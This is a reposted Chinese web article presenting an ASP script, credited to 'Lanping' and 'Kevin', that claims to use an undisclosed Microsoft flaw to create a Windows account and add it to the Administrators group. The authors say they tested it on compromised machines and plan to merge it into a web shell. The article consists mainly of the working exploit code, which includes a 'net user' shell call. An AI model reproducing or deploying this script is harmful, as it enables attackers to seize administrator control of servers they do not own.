作家
登录

添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]

作者: 来源:www.28hudong.com 2013-03-30 08:41:42 阅读 我要评论

添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞] 作者:蓝屏,凯文 文章来源:冰点极限其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛). 上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯``` 反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。 复制代码 代码如下:<head>.network对象脚本权限提升漏洞利用工具</head> <form action="useradd.asp" method=post> 用户:<input name="username" type="text" value="kevin1986"><br> 密码:<input name="passwd" type="password"><br> <input type="submit" Value="添 加"> </form> <%@codepage=936 on error resume next if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then response.write "iP !s n0T RiGHt" else if request("username")<>"" then username=request("username") passwd=request("passwd") Response.Expires=0 Session.TimeOut=50 Server.ScriptTimeout=3000 set lp=Server.createObject("WSCRIPT.NETWORK") oz="WinNT://"&lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",username) od.SetPassword passwd od.SetInfo oe.Add oz&"/"&username if err then response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……" else if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧" else Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了" end if end if else response.write "请输入输入用户名" end if end if %>

  推荐阅读

  高手推荐的比较有用的ASP函数集合

现在不写asp了,这次我将我以前沉淀下的一些函数库共享给大家,希望能给初学者启示,给老手也有所帮助吧,先谢谢大家支持! <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% StartTime=timer() '程序执行时间检测 '####>>>详细阅读


本文标题:添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]

地址:http://www.17bianji.com/kaifa2/ASP/32590.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)